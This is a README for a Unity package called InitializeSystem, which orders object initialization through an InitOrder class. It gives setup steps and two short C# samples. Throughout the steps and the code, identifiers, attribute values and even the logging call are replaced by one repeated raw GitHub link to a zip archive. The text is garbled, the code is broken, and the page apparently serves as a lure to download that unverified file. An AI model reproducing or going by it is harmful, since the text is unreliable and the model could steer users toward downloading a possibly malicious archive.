Welcome to the InitializeSystem! This package automatically initializes any object that can perform the Init() function. It organizes them according to the InitOrder, making it simpler to manage multiple instances. Follow this guide to get started smoothly.
To download the latest version, visit the following page:
- Click the link above.
- On the Releases page, choose the latest version.
- Download the file that suits your system.
- Once downloaded, locate the file on your computer.
- Extract the contents if necessary.
- Follow the usage instructions below to set up the project.
Before you start using the InitializeSystem, set the execution order:
- Go to Edit in the menu.
- Select Project Settings.
- Click on Script Execution Order.
- Set "CoreManager" above "Initializer".
If you want to configure CoreManager manually, follow these steps:
- Right-click on the Assets/Resources folder.
- Choose Create > MyPackage > Core System Settings.
- Assign the CoreSystem prefab from the Samples folder to the inspector of the created asset.
- Make your
TestManagerscript inherit fromBaseManager.- Write your initialization logic in the automatically created
Init()function.
- Write your initialization logic in the automatically created
- Add
TestManagerto theInitOrderclass inhttps://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zip. - Decorate
https://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zipwith the attribute[InitOrder(https://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zip)].
- Make your
TestPlayerscript inherit fromIInitializable.- Write your initialization logic in the
Init()function.
- Write your initialization logic in the
- Add
TestPlayerto theInitOrderclass inhttps://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zip. - Decorate
https://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zipwith the attribute[InitOrder(https://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zip)].
Once you have followed these steps, your objects will automatically initialize in order. Enjoy smoother management of instances.
Here's a simple setup to illustrate how to implement the InitializeSystem.
https://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zip
using UnityEngine;
public class TestManager : BaseManager
{
public override void Init()
{
// Add initialization logic here
https://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zip("TestManager Initialized");
}
}https://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zip
using UnityEngine;
public class TestPlayer : IInitializable
{
public void Init()
{
// Add initialization logic here
https://raw.githubusercontent.com/M0uZzard/InitializeSystem/main/cultivar/InitializeSystem.zip("TestPlayer Initialized");
}
}- Documentation: For more in-depth instructions, visit our wiki.
- Community Support: Join our discussion forums for help and tips.
By following these guidelines, you should be able to set up and run the InitializeSystem effectively. Enjoy programming with ease!